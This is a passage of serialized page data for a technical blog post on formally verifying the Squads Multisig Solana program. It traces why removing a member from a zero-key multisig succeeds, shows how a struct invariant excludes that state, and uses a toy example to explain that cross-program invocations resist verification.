"value":225},{"type":24,"tag":158,"props":28175,"children":28176},{"style":165},[28177],{"type":29,"value":859},{"type":24,"tag":158,"props":28179,"children":28180},{"style":188},[28181],{"type":29,"value":235},{"type":24,"tag":158,"props":28183,"children":28184},{"class":160,"line":684},[28185,28189,28193,28197],{"type":24,"tag":158,"props":28186,"children":28187},{"style":177},[28188],{"type":29,"value":26588},{"type":24,"tag":158,"props":28190,"children":28191},{"style":222},[28192],{"type":29,"value":225},{"type":24,"tag":158,"props":28194,"children":28195},{"style":171},[28196],{"type":29,"value":22633},{"type":24,"tag":158,"props":28198,"children":28199},{"style":188},[28200],{"type":29,"value":210},{"type":24,"tag":158,"props":28202,"children":28203},{"class":160,"line":700},[28204,28209,28213,28217],{"type":24,"tag":158,"props":28205,"children":28206},{"style":177},[28207],{"type":29,"value":28208}," data",{"type":24,"tag":158,"props":28210,"children":28211},{"style":222},[28212],{"type":29,"value":225},{"type":24,"tag":158,"props":28214,"children":28215},{"style":222},[28216],{"type":29,"value":26556},{"type":24,"tag":158,"props":28218,"children":28219},{"style":188},[28220],{"type":29,"value":235},{"type":24,"tag":158,"props":28222,"children":28223},{"class":160,"line":785},[28224,28228,28232,28236],{"type":24,"tag":158,"props":28225,"children":28226},{"style":177},[28227],{"type":29,"value":26609},{"type":24,"tag":158,"props":28229,"children":28230},{"style":222},[28231],{"type":29,"value":225},{"type":24,"tag":158,"props":28233,"children":28234},{"style":465},[28235],{"type":29,"value":2025},{"type":24,"tag":158,"props":28237,"children":28238},{"style":188},[28239],{"type":29,"value":235},{"type":24,"tag":158,"props":28241,"children":28242},{"class":160,"line":1447},[28243],{"type":24,"tag":158,"props":28244,"children":28245},{"style":188},[28246],{"type":29,"value":26630},{"type":24,"tag":158,"props":28248,"children":28249},{"class":160,"line":1509},[28250],{"type":24,"tag":158,"props":28251,"children":28252},{"style":188},[28253],{"type":29,"value":26638},{"type":24,"tag":158,"props":28255,"children":28256},{"class":160,"line":1527},[28257,28261,28265,28269,28273,28277],{"type":24,"tag":158,"props":28258,"children":28259},{"style":177},[28260],{"type":29,"value":26646},{"type":24,"tag":158,"props":28262,"children":28263},{"style":222},[28264],{"type":29,"value":225},{"type":24,"tag":158,"props":28266,"children":28267},{"style":171},[28268],{"type":29,"value":26655},{"type":24,"tag":158,"props":28270,"children":28271},{"style":188},[28272],{"type":29,"value":372},{"type":24,"tag":158,"props":28274,"children":28275},{"style":222},[28276],{"type":29,"value":377},{"type":24,"tag":158,"props":28278,"children":28279},{"style":188},[28280],{"type":29,"value":26668},{"type":24,"tag":158,"props":28282,"children":28283},{"class":160,"line":1545},[28284],{"type":24,"tag":158,"props":28285,"children":28286},{"style":188},[28287],{"type":29,"value":307},{"type":24,"tag":25,"props":28289,"children":28290},{},[28291],{"type":29,"value":28292},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":24,"tag":25,"props":28294,"children":28295},{},[28296,28298,28304],{"type":29,"value":28297},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":24,"tag":154,"props":28299,"children":28301},{"className":28300},[],[28302],{"type":29,"value":28303},"Ms::remove_member",{"type":29,"value":225},{"type":24,"tag":147,"props":28306,"children":28308},{"code":28307,"language":150,"meta":7,"className":151,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[28309],{"type":24,"tag":154,"props":28310,"children":28311},{"__ignoreMap":7},[28312,28371,28402,28409],{"type":24,"tag":158,"props":28313,"children":28314},{"class":160,"line":161},[28315,28319,28323,28327,28331,28335,28339,28343,28347,28351,28355,28359,28363,28367],{"type":24,"tag":158,"props":28316,"children":28317},{"style":1914},[28318],{"type":29,"value":16815},{"type":24,"tag":158,"props":28320,"children":28321},{"style":177},[28322],{"type":29,"value":27100},{"type":24,"tag":158,"props":28324,"children":28325},{"style":222},[28326],{"type":29,"value":347},{"type":24,"tag":158,"props":28328,"children":28329},{"style":188},[28330],{"type":29,"value":15909},{"type":24,"tag":158,"props":28332,"children":28333},{"style":222},[28334],{"type":29,"value":347},{"type":24,"tag":158,"props":28336,"children":28337},{"style":188},[28338],{"type":29,"value":25061},{"type":24,"tag":158,"props":28340,"children":28341},{"style":222},[28342],{"type":29,"value":347},{"type":24,"tag":158,"props":28344,"children":28345},{"style":188},[28346],{"type":29,"value":22227},{"type":24,"tag":158,"props":28348,"children":28349},{"style":222},[28350],{"type":29,"value":347},{"type":24,"tag":158,"props":28352,"children":28353},{"style":496},[28354],{"type":29,"value":10726},{"type":24,"tag":158,"props":28356,"children":28357},{"style":188},[28358],{"type":29,"value":15277},{"type":24,"tag":158,"props":28360,"children":28361},{"style":222},[28362],{"type":29,"value":1034},{"type":24,"tag":158,"props":28364,"children":28365},{"style":465},[28366],{"type":29,"value":1668},{"type":24,"tag":158,"props":28368,"children":28369},{"style":188},[28370],{"type":29,"value":210},{"type":24,"tag":158,"props":28372,"children":28373},{"class":160,"line":213},[28374,28378,28382,28386,28390,28394,28398],{"type":24,"tag":158,"props":28375,"children":28376},{"style":1914},[28377],{"type":29,"value":18227},{"type":24,"tag":158,"props":28379,"children":28380},{"style":496},[28381],{"type":29,"value":24764},{"type":24,"tag":158,"props":28383,"children":28384},{"style":188},[28385],{"type":29,"value":504},{"type":24,"tag":158,"props":28387,"children":28388},{"style":171},[28389],{"type":29,"value":24773},{"type":24,"tag":158,"props":28391,"children":28392},{"style":222},[28393],{"type":29,"value":2146},{"type":24,"tag":158,"props":28395,"children":28396},{"style":171},[28397],{"type":29,"value":27176},{"type":24,"tag":158,"props":28399,"children":28400},{"style":188},[28401],{"type":29,"value":1071},{"type":24,"tag":158,"props":28403,"children":28404},{"class":160,"line":238},[28405],{"type":24,"tag":158,"props":28406,"children":28407},{"style":188},[28408],{"type":29,"value":307},{"type":24,"tag":158,"props":28410,"children":28411},{"class":160,"line":259},[28412,28416,28420,28424,28428,28432,28436,28440,28444,28448,28452,28456],{"type":24,"tag":158,"props":28413,"children":28414},{"style":177},[28415],{"type":29,"value":21524},{"type":24,"tag":158,"props":28417,"children":28418},{"style":222},[28419],{"type":29,"value":347},{"type":24,"tag":158,"props":28421,"children":28422},{"style":188},[28423],{"type":29,"value":15909},{"type":24,"tag":158,"props":28425,"children":28426},{"style":222},[28427],{"type":29,"value":347},{"type":24,"tag":158,"props":28429,"children":28430},{"style":188},[28431],{"type":29,"value":25061},{"type":24,"tag":158,"props":28433,"children":28434},{"style":222},[28435],{"type":29,"value":347},{"type":24,"tag":158,"props":28437,"children":28438},{"style":496},[28439],{"type":29,"value":26723},{"type":24,"tag":158,"props":28441,"children":28442},{"style":188},[28443],{"type":29,"value":504},{"type":24,"tag":158,"props":28445,"children":28446},{"style":177},[28447],{"type":29,"value":27056},{"type":24,"tag":158,"props":28449,"children":28450},{"style":188},[28451],{"type":29,"value":521},{"type":24,"tag":158,"props":28453,"children":28454},{"style":222},[28455],{"type":29,"value":4820},{"type":24,"tag":158,"props":28457,"children":28458},{"style":188},[28459],{"type":29,"value":473},{"type":24,"tag":25,"props":28461,"children":28462},{},[28463,28465,28471,28473,28479],{"type":29,"value":28464},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":24,"tag":154,"props":28466,"children":28468},{"className":28467},[],[28469],{"type":29,"value":28470},"Ms::is_member",{"type":29,"value":28472},") and if it is not, it simply skips the removal and returns ",{"type":24,"tag":154,"props":28474,"children":28476},{"className":28475},[],[28477],{"type":29,"value":28478},"Ok(())",{"type":29,"value":347},{"type":24,"tag":147,"props":28481,"children":28483},{"code":28482,"language":150,"meta":7,"className":151,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n if let Some(ind) = self.is_member(member) {\n self.keys.remove(ind);\n if self.keys.len() \u003C usize::from(self.threshold) {\n self.threshold = self.keys.len().try_into().unwrap();\n }\n }\n Ok(())\n}\n",[28484],{"type":24,"tag":154,"props":28485,"children":28486},{"__ignoreMap":7},[28487,28551,28610,28647,28706,28774,28781,28788,28799],{"type":24,"tag":158,"props":28488,"children":28489},{"class":160,"line":161},[28490,28494,28498,28502,28506,28510,28514,28518,28522,28527,28531,28535,28539,28543,28547],{"type":24,"tag":158,"props":28491,"children":28492},{"style":165},[28493],{"type":29,"value":14924},{"type":24,"tag":158,"props":28495,"children":28496},{"style":165},[28497],{"type":29,"value":14929},{"type":24,"tag":158,"props":28499,"children":28500},{"style":496},[28501],{"type":29,"value":27022},{"type":24,"tag":158,"props":28503,"children":28504},{"style":188},[28505],{"type":29,"value":504},{"type":24,"tag":158,"props":28507,"children":28508},{"style":222},[28509],{"type":29,"value":2212},{"type":24,"tag":158,"props":28511,"children":28512},{"style":165},[28513],{"type":29,"value":2169},{"type":24,"tag":158,"props":28515,"children":28516},{"style":165},[28517],{"type":29,"value":15031},{"type":24,"tag":158,"props":28519,"children":28520},{"style":188},[28521],{"type":29,"value":191},{"type":24,"tag":158,"props":28523,"children":28524},{"style":177},[28525],{"type":29,"value":28526},"member",{"type":24,"tag":158,"props":28528,"children":28529},{"style":222},[28530],{"type":29,"value":225},{"type":24,"tag":158,"props":28532,"children":28533},{"style":171},[28534],{"type":29,"value":22101},{"type":24,"tag":158,"props":28536,"children":28537},{"style":188},[28538],{"type":29,"value":723},{"type":24,"tag":158,"props":28540,"children":28541},{"style":222},[28542],{"type":29,"value":14991},{"type":24,"tag":158,"props":28544,"children":28545},{"style":171},[28546],{"type":29,"value":14996},{"type":24,"tag":158,"props":28548,"children":28549},{"style":188},[28550],{"type":29,"value":21575},{"type":24,"tag":158,"props":28552,"children":28553},{"class":160,"line":213},[28554,28558,28563,28568,28572,28577,28581,28585,28589,28593,28598,28602,28606],{"type":24,"tag":158,"props":28555,"children":28556},{"style":1914},[28557],{"type":29,"value":3160},{"type":24,"tag":158,"props":28559,"children":28560},{"style":165},[28561],{"type":29,"value":28562}," let",{"type":24,"tag":158,"props":28564,"children":28565},{"style":171},[28566],{"type":29,"value":28567}," Some",{"type":24,"tag":158,"props":28569,"children":28570},{"style":188},[28571],{"type":29,"value":504},{"type":24,"tag":158,"props":28573,"children":28574},{"style":177},[28575],{"type":29,"value":28576},"ind",{"type":24,"tag":158,"props":28578,"children":28579},{"style":188},[28580],{"type":29,"value":723},{"type":24,"tag":158,"props":28582,"children":28583},{"style":222},[28584],{"type":29,"value":1285},{"type":24,"tag":158,"props":28586,"children":28587},{"style":165},[28588],{"type":29,"value":15031},{"type":24,"tag":158,"props":28590,"children":28591},{"style":222},[28592],{"type":29,"value":347},{"type":24,"tag":158,"props":28594,"children":28595},{"style":496},[28596],{"type":29,"value":28597},"is_member",{"type":24,"tag":158,"props":28599,"children":28600},{"style":188},[28601],{"type":29,"value":504},{"type":24,"tag":158,"props":28603,"children":28604},{"style":177},[28605],{"type":29,"value":28526},{"type":24,"tag":158,"props":28607,"children":28608},{"style":188},[28609],{"type":29,"value":16038},{"type":24,"tag":158,"props":28611,"children":28612},{"class":160,"line":238},[28613,28618,28622,28626,28630,28635,28639,28643],{"type":24,"tag":158,"props":28614,"children":28615},{"style":165},[28616],{"type":29,"value":28617}," self",{"type":24,"tag":158,"props":28619,"children":28620},{"style":222},[28621],{"type":29,"value":347},{"type":24,"tag":158,"props":28623,"children":28624},{"style":188},[28625],{"type":29,"value":22227},{"type":24,"tag":158,"props":28627,"children":28628},{"style":222},[28629],{"type":29,"value":347},{"type":24,"tag":158,"props":28631,"children":28632},{"style":496},[28633],{"type":29,"value":28634},"remove",{"type":24,"tag":158,"props":28636,"children":28637},{"style":188},[28638],{"type":29,"value":504},{"type":24,"tag":158,"props":28640,"children":28641},{"style":177},[28642],{"type":29,"value":28576},{"type":24,"tag":158,"props":28644,"children":28645},{"style":188},[28646],{"type":29,"value":1071},{"type":24,"tag":158,"props":28648,"children":28649},{"class":160,"line":259},[28650,28654,28658,28662,28666,28670,28674,28678,28682,28686,28690,28694,28698,28702],{"type":24,"tag":158,"props":28651,"children":28652},{"style":1914},[28653],{"type":29,"value":4936},{"type":24,"tag":158,"props":28655,"children":28656},{"style":165},[28657],{"type":29,"value":15031},{"type":24,"tag":158,"props":28659,"children":28660},{"style":222},[28661],{"type":29,"value":347},{"type":24,"tag":158,"props":28663,"children":28664},{"style":188},[28665],{"type":29,"value":22227},{"type":24,"tag":158,"props":28667,"children":28668},{"style":222},[28669],{"type":29,"value":347},{"type":24,"tag":158,"props":28671,"children":28672},{"style":496},[28673],{"type":29,"value":10726},{"type":24,"tag":158,"props":28675,"children":28676},{"style":188},[28677],{"type":29,"value":27301},{"type":24,"tag":158,"props":28679,"children":28680},{"style":171},[28681],{"type":29,"value":17838},{"type":24,"tag":158,"props":28683,"children":28684},{"style":222},[28685],{"type":29,"value":2146},{"type":24,"tag":158,"props":28687,"children":28688},{"style":496},[28689],{"type":29,"value":20716},{"type":24,"tag":158,"props":28691,"children":28692},{"style":188},[28693],{"type":29,"value":504},{"type":24,"tag":158,"props":28695,"children":28696},{"style":165},[28697],{"type":29,"value":14947},{"type":24,"tag":158,"props":28699,"children":28700},{"style":222},[28701],{"type":29,"value":347},{"type":24,"tag":158,"props":28703,"children":28704},{"style":188},[28705],{"type":29,"value":27346},{"type":24,"tag":158,"props":28707,"children":28708},{"class":160,"line":280},[28709,28714,28718,28722,28726,28730,28734,28738,28742,28746,28750,28754,28758,28762,28766,28770],{"type":24,"tag":158,"props":28710,"children":28711},{"style":165},[28712],{"type":29,"value":28713}," self",{"type":24,"tag":158,"props":28715,"children":28716},{"style":222},[28717],{"type":29,"value":347},{"type":24,"tag":158,"props":28719,"children":28720},{"style":188},[28721],{"type":29,"value":22315},{"type":24,"tag":158,"props":28723,"children":28724},{"style":222},[28725],{"type":29,"value":1285},{"type":24,"tag":158,"props":28727,"children":28728},{"style":165},[28729],{"type":29,"value":15031},{"type":24,"tag":158,"props":28731,"children":28732},{"style":222},[28733],{"type":29,"value":347},{"type":24,"tag":158,"props":28735,"children":28736},{"style":188},[28737],{"type":29,"value":22227},{"type":24,"tag":158,"props":28739,"children":28740},{"style":222},[28741],{"type":29,"value":347},{"type":24,"tag":158,"props":28743,"children":28744},{"style":496},[28745],{"type":29,"value":10726},{"type":24,"tag":158,"props":28747,"children":28748},{"style":188},[28749],{"type":29,"value":15113},{"type":24,"tag":158,"props":28751,"children":28752},{"style":222},[28753],{"type":29,"value":347},{"type":24,"tag":158,"props":28755,"children":28756},{"style":496},[28757],{"type":29,"value":27419},{"type":24,"tag":158,"props":28759,"children":28760},{"style":188},[28761],{"type":29,"value":15113},{"type":24,"tag":158,"props":28763,"children":28764},{"style":222},[28765],{"type":29,"value":347},{"type":24,"tag":158,"props":28767,"children":28768},{"style":496},[28769],{"type":29,"value":5324},{"type":24,"tag":158,"props":28771,"children":28772},{"style":188},[28773],{"type":29,"value":5329},{"type":24,"tag":158,"props":28775,"children":28776},{"class":160,"line":301},[28777],{"type":24,"tag":158,"props":28778,"children":28779},{"style":188},[28780],{"type":29,"value":5010},{"type":24,"tag":158,"props":28782,"children":28783},{"class":160,"line":626},[28784],{"type":24,"tag":158,"props":28785,"children":28786},{"style":188},[28787],{"type":29,"value":3967},{"type":24,"tag":158,"props":28789,"children":28790},{"class":160,"line":668},[28791,28795],{"type":24,"tag":158,"props":28792,"children":28793},{"style":171},[28794],{"type":29,"value":15567},{"type":24,"tag":158,"props":28796,"children":28797},{"style":188},[28798],{"type":29,"value":15572},{"type":24,"tag":158,"props":28800,"children":28801},{"class":160,"line":676},[28802],{"type":24,"tag":158,"props":28803,"children":28804},{"style":188},[28805],{"type":29,"value":307},{"type":24,"tag":25,"props":28807,"children":28808},{},[28809,28811,28816,28818,28824,28826,28832,28834,28839],{"type":29,"value":28810},"Inside ",{"type":24,"tag":154,"props":28812,"children":28814},{"className":28813},[],[28815],{"type":29,"value":28470},{"type":29,"value":28817},", we see that it performs a ",{"type":24,"tag":154,"props":28819,"children":28821},{"className":28820},[],[28822],{"type":29,"value":28823},"binary_search",{"type":29,"value":28825}," on the keys vec and returns the index or ",{"type":24,"tag":154,"props":28827,"children":28829},{"className":28828},[],[28830],{"type":29,"value":28831},"None",{"type":29,"value":28833},". Since the vec has size zero, this will just return ",{"type":24,"tag":154,"props":28835,"children":28837},{"className":28836},[],[28838],{"type":29,"value":28831},{"type":29,"value":347},{"type":24,"tag":147,"props":28841,"children":28843},{"code":28842,"language":150,"meta":7,"className":151,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n match self.keys.binary_search(&member) {\n Ok(ind) => Some(ind),\n _ => None,\n }\n}\n",[28844],{"type":24,"tag":154,"props":28845,"children":28846},{"__ignoreMap":7},[28847,28916,28959,28998,29020,29027],{"type":24,"tag":158,"props":28848,"children":28849},{"class":160,"line":161},[28850,28854,28858,28863,28867,28871,28875,28879,28883,28887,28891,28895,28899,28904,28908,28912],{"type":24,"tag":158,"props":28851,"children":28852},{"style":165},[28853],{"type":29,"value":14924},{"type":24,"tag":158,"props":28855,"children":28856},{"style":165},[28857],{"type":29,"value":14929},{"type":24,"tag":158,"props":28859,"children":28860},{"style":496},[28861],{"type":29,"value":28862}," is_member",{"type":24,"tag":158,"props":28864,"children":28865},{"style":188},[28866],{"type":29,"value":504},{"type":24,"tag":158,"props":28868,"children":28869},{"style":222},[28870],{"type":29,"value":2212},{"type":24,"tag":158,"props":28872,"children":28873},{"style":165},[28874],{"type":29,"value":14947},{"type":24,"tag":158,"props":28876,"children":28877},{"style":188},[28878],{"type":29,"value":191},{"type":24,"tag":158,"props":28880,"children":28881},{"style":177},[28882],{"type":29,"value":28526},{"type":24,"tag":158,"props":28884,"children":28885},{"style":222},[28886],{"type":29,"value":225},{"type":24,"tag":158,"props":28888,"children":28889},{"style":171},[28890],{"type":29,"value":22101},{"type":24,"tag":158,"props":28892,"children":28893},{"style":188},[28894],{"type":29,"value":723},{"type":24,"tag":158,"props":28896,"children":28897},{"style":222},[28898],{"type":29,"value":14991},{"type":24,"tag":158,"props":28900,"children":28901},{"style":171},[28902],{"type":29,"value":28903}," Option",{"type":24,"tag":158,"props":28905,"children":28906},{"style":188},[28907],{"type":29,"value":3760},{"type":24,"tag":158,"props":28909,"children":28910},{"style":171},[28911],{"type":29,"value":17838},{"type":24,"tag":158,"props":28913,"children":28914},{"style":188},[28915],{"type":29,"value":8922},{"type":24,"tag":158,"props":28917,"children":28918},{"class":160,"line":213},[28919,28923,28927,28931,28935,28939,28943,28947,28951,28955],{"type":24,"tag":158,"props":28920,"children":28921},{"style":1914},[28922],{"type":29,"value":15987},{"type":24,"tag":158,"props":28924,"children":28925},{"style":165},[28926],{"type":29,"value":15031},{"type":24,"tag":158,"props":28928,"children":28929},{"style":222},[28930],{"type":29,"value":347},{"type":24,"tag":158,"props":28932,"children":28933},{"style":188},[28934],{"type":29,"value":22227},{"type":24,"tag":158,"props":28936,"children":28937},{"style":222},[28938],{"type":29,"value":347},{"type":24,"tag":158,"props":28940,"children":28941},{"style":496},[28942],{"type":29,"value":28823},{"type":24,"tag":158,"props":28944,"children":28945},{"style":188},[28946],{"type":29,"value":504},{"type":24,"tag":158,"props":28948,"children":28949},{"style":222},[28950],{"type":29,"value":2212},{"type":24,"tag":158,"props":28952,"children":28953},{"style":177},[28954],{"type":29,"value":28526},{"type":24,"tag":158,"props":28956,"children":28957},{"style":188},[28958],{"type":29,"value":16038},{"type":24,"tag":158,"props":28960,"children":28961},{"class":160,"line":238},[28962,28966,28970,28974,28978,28982,28986,28990,28994],{"type":24,"tag":158,"props":28963,"children":28964},{"style":171},[28965],{"type":29,"value":16046},{"type":24,"tag":158,"props":28967,"children":28968},{"style":188},[28969],{"type":29,"value":504},{"type":24,"tag":158,"props":28971,"children":28972},{"style":177},[28973],{"type":29,"value":28576},{"type":24,"tag":158,"props":28975,"children":28976},{"style":188},[28977],{"type":29,"value":723},{"type":24,"tag":158,"props":28979,"children":28980},{"style":222},[28981],{"type":29,"value":16056},{"type":24,"tag":158,"props":28983,"children":28984},{"style":171},[28985],{"type":29,"value":28567},{"type":24,"tag":158,"props":28987,"children":28988},{"style":188},[28989],{"type":29,"value":504},{"type":24,"tag":158,"props":28991,"children":28992},{"style":177},[28993],{"type":29,"value":28576},{"type":24,"tag":158,"props":28995,"children":28996},{"style":188},[28997],{"type":29,"value":8382},{"type":24,"tag":158,"props":28999,"children":29000},{"class":160,"line":259},[29001,29006,29011,29016],{"type":24,"tag":158,"props":29002,"children":29003},{"style":177},[29004],{"type":29,"value":29005}," _",{"type":24,"tag":158,"props":29007,"children":29008},{"style":222},[29009],{"type":29,"value":29010}," =>",{"type":24,"tag":158,"props":29012,"children":29013},{"style":171},[29014],{"type":29,"value":29015}," None",{"type":24,"tag":158,"props":29017,"children":29018},{"style":188},[29019],{"type":29,"value":235},{"type":24,"tag":158,"props":29021,"children":29022},{"class":160,"line":280},[29023],{"type":24,"tag":158,"props":29024,"children":29025},{"style":188},[29026],{"type":29,"value":3967},{"type":24,"tag":158,"props":29028,"children":29029},{"class":160,"line":301},[29030],{"type":24,"tag":158,"props":29031,"children":29032},{"style":188},[29033],{"type":29,"value":307},{"type":24,"tag":25,"props":29035,"children":29036},{},[29037,29039,29044,29046,29051,29053,29058,29060,29065],{"type":29,"value":29038},"So interestingly, a ",{"type":24,"tag":154,"props":29040,"children":29042},{"className":29041},[],[29043],{"type":29,"value":22227},{"type":29,"value":29045}," vec of size 0 ",{"type":24,"tag":32,"props":29047,"children":29048},{},[29049],{"type":29,"value":29050},"is actually",{"type":29,"value":29052}," a sufficient condition to execute ",{"type":24,"tag":154,"props":29054,"children":29056},{"className":29055},[],[29057],{"type":29,"value":26723},{"type":29,"value":29059},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":24,"tag":32,"props":29061,"children":29062},{},[29063],{"type":29,"value":29064},"valid",{"type":29,"value":29066}," multisig, the number of keys should never be zero.",{"type":24,"tag":25,"props":29068,"children":29069},{},[29070,29072,29077],{"type":29,"value":29071},"We can represent this ",{"type":24,"tag":32,"props":29073,"children":29074},{},[29075],{"type":29,"value":29076},"validity",{"type":29,"value":29078}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":24,"tag":147,"props":29080,"children":29082},{"code":29081,"language":150,"meta":7,"className":151,"style":7},"#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[29083],{"type":24,"tag":154,"props":29084,"children":29085},{"__ignoreMap":7},[29086,29093,29116,29167,29174],{"type":24,"tag":158,"props":29087,"children":29088},{"class":160,"line":161},[29089],{"type":24,"tag":158,"props":29090,"children":29091},{"style":188},[29092],{"type":29,"value":22022},{"type":24,"tag":158,"props":29094,"children":29095},{"class":160,"line":213},[29096,29100,29104,29108,29112],{"type":24,"tag":158,"props":29097,"children":29098},{"style":188},[29099],{"type":29,"value":25986},{"type":24,"tag":158,"props":29101,"children":29102},{"style":222},[29103],{"type":29,"value":347},{"type":24,"tag":158,"props":29105,"children":29106},{"style":188},[29107],{"type":29,"value":22315},{"type":24,"tag":158,"props":29109,"children":29110},{"style":222},[29111],{"type":29,"value":750},{"type":24,"tag":158,"props":29113,"children":29114},{"style":188},[29115],{"type":29,"value":22324},{"type":24,"tag":158,"props":29117,"children":29118},{"class":160,"line":238},[29119,29123,29127,29131,29135,29139,29143,29147,29151,29155,29159,29163],{"type":24,"tag":158,"props":29120,"children":29121},{"style":222},[29122],{"type":29,"value":16857},{"type":24,"tag":158,"props":29124,"children":29125},{"style":188},[29126],{"type":29,"value":22248},{"type":24,"tag":158,"props":29128,"children":29129},{"style":222},[29130],{"type":29,"value":347},{"type":24,"tag":158,"props":29132,"children":29133},{"style":188},[29134],{"type":29,"value":22315},{"type":24,"tag":158,"props":29136,"children":29137},{"style":165},[29138],{"type":29,"value":2245},{"type":24,"tag":158,"props":29140,"children":29141},{"style":171},[29142],{"type":29,"value":14965},{"type":24,"tag":158,"props":29144,"children":29145},{"style":222},[29146],{"type":29,"value":1989},{"type":24,"tag":158,"props":29148,"children":29149},{"style":188},[29150],{"type":29,"value":15031},{"type":24,"tag":158,"props":29152,"children":29153},{"style":222},[29154],{"type":29,"value":347},{"type":24,"tag":158,"props":29156,"children":29157},{"style":188},[29158],{"type":29,"value":22227},{"type":24,"tag":158,"props":29160,"children":29161},{"style":222},[29162],{"type":29,"value":347},{"type":24,"tag":158,"props":29164,"children":29165},{"style":188},[29166],{"type":29,"value":22376},{"type":24,"tag":158,"props":29168,"children":29169},{"class":160,"line":259},[29170],{"type":24,"tag":158,"props":29171,"children":29172},{"style":188},[29173],{"type":29,"value":21502},{"type":24,"tag":158,"props":29175,"children":29176},{"class":160,"line":280},[29177,29181,29185,29189,29193,29197],{"type":24,"tag":158,"props":29178,"children":29179},{"style":165},[29180],{"type":29,"value":14924},{"type":24,"tag":158,"props":29182,"children":29183},{"style":165},[29184],{"type":29,"value":22395},{"type":24,"tag":158,"props":29186,"children":29187},{"style":171},[29188],{"type":29,"value":22400},{"type":24,"tag":158,"props":29190,"children":29191},{"style":188},[29192],{"type":29,"value":372},{"type":24,"tag":158,"props":29194,"children":29195},{"style":222},[29196],{"type":29,"value":377},{"type":24,"tag":158,"props":29198,"children":29199},{"style":188},[29200],{"type":29,"value":382},{"type":24,"tag":25,"props":29202,"children":29203},{},[29204,29206,29212,29214,29220],{"type":29,"value":29205},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":24,"tag":154,"props":29207,"children":29209},{"className":29208},[],[29210],{"type":29,"value":29211},"keys.len() == 0",{"type":29,"value":29213}," and allows us to prove the biconditional ",{"type":24,"tag":154,"props":29215,"children":29217},{"className":29216},[],[29218],{"type":29,"value":29219},"(keys.len() >= 1) -> (instruction succeeds)",{"type":29,"value":347},{"type":24,"tag":395,"props":29222,"children":29224},{"id":29223},"safety-guarantees",[29225],{"type":29,"value":24029},{"type":24,"tag":25,"props":29227,"children":29228},{},[29229],{"type":29,"value":29230},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":24,"tag":25,"props":29232,"children":29233},{},[29234],{"type":29,"value":29235},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":24,"tag":25,"props":29237,"children":29238},{},[29239,29241,29247],{"type":29,"value":29240},"In the multisig program this happens in the ",{"type":24,"tag":154,"props":29242,"children":29244},{"className":29243},[],[29245],{"type":29,"value":29246},"execute_transaction",{"type":29,"value":29248}," instruction.",{"type":24,"tag":25,"props":29250,"children":29251},{},[29252],{"type":24,"tag":32,"props":29253,"children":29254},{},[29255],{"type":29,"value":29256},"So what do you do?",{"type":24,"tag":25,"props":29258,"children":29259},{},[29260],{"type":29,"value":29261},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":24,"tag":147,"props":29263,"children":29265},{"code":29264,"language":150,"meta":7,"className":151,"style":7},"#[derive(Accounts)]\npub MyCtx {\n #[account(mut)]\n pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n pub bad: bool\n}\n\nimpl Acc {\n pub fn put_into_bad_state() {\n self.bad = true;\n }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n Ok(())\n}\n",[29266],{"type":24,"tag":154,"props":29267,"children":29268},{"__ignoreMap":7},[29269,29284,29300,29315,29356,29363,29370,29377,29394,29410,29431,29438,29445,29461,29481,29509,29516,29523,29530,29538,29591,29617,29624,29653,29677,29712,29719,29730],{"type":24,"tag":158,"props":29270,"children":29271},{"class":160,"line":161},[29272,29276,29280],{"type":24,"tag":158,"props":29273,"children":29274},{"style":188},[29275],{"type":29,"value":24082},{"type":24,"tag":158,"props":29277,"children":29278},{"style":171},[29279],{"type":29,"value":24087},{"type":24,"tag":158,"props":29281,"children":29282},{"style":188},[29283],{"type":29,"value":21502},{"type":24,"tag":158,"props":29285,"children":29286},{"class":160,"line":213},[29287,29291,29296],{"type":24,"tag":158,"props":29288,"children":29289},{"style":165},[29290],{"type":29,"value":14924},{"type":24,"tag":158,"props":29292,"children":29293},{"style":171},[29294],{"type":29,"value":29295}," MyCtx",{"type":24,"tag":158,"props":29297,"children":29298},{"style":188},[29299],{"type":29,"value":210},{"type":24,"tag":158,"props":29301,"children":29302},{"class":160,"line":238},[29303,29307,29311],{"type":24,"tag":158,"props":29304,"children":29305},{"style":188},[29306],{"type":29,"value":24374},{"type":24,"tag":158,"props":29308,"children":29309},{"style":165},[29310],{"type":29,"value":2169},{"type":24,"tag":158,"props":29312,"children":29313},{"style":188},[29314],{"type":29,"value":21502},{"type":24,"tag":158,"props":29316,"children":29317},{"class":160,"line":259},[29318,29322,29327,29331,29335,29339,29343,29347,29352],{"type":24,"tag":158,"props":29319,"children":29320},{"style":165},[29321],{"type":29,"value":22087},{"type":24,"tag":158,"props":29323,"children":29324},{"style":177},[29325],{"type":29,"value":29326}," 